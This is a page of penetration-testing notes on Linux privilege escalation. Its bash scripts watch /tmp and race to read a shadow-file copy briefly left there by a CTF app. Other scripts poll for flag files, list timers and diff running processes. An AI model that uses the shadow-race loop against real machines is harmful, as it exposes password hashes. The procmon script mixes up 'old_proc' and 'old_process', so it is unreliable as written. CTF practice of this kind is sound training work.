> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/06-linux-privesc/02-monitor-files.md).

# Monitor Files

## Method 1 - ls loop

An app escalates your session to Root\
Saves the shadow-file in tmp, but then deletes it..\
CTF Example: BetterSSH.py\
Thanks: Pivonka

```
#!/bin/bash

while true
do
		file=$(ls -1A /tmp/SSH)
		if [ $(ls -1A /tmp/SSH| wc -l) -gt 0 ]
		then
				cat /tmp/SSH/$file
				exit 1
		fi
done
```

## Method 2 - while cat

Watch for the latest entry to /tmp\
Sleep 0 ..if you want it faster

```
Watch for a new file:
> while : ; do ls -At /tmp | head -n1; sleep 1; done

Cat the new file:
> while : ; do cat '/tmp/flag.txt' 2>/dev/null; sleep 1; done
```

## Watch jobs

```
> watch -n 1 'systemctl list-timers'
```

## Watch Proc - "procmon":

* procmon.sh ...from ippsec on ninevehHTB
* bash ./procmon.sh
* REF: [cron ](/06-linux-privesc/04-look-around.md#admin-crons)jobs

```
#!/bin/bash
IFS=$'\n'
old_proc=$(ps -eo command)
while true; do
  new_process=$(ps -eo command)
  diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
  sleep 1
  old_process=$new_process
done
```


---

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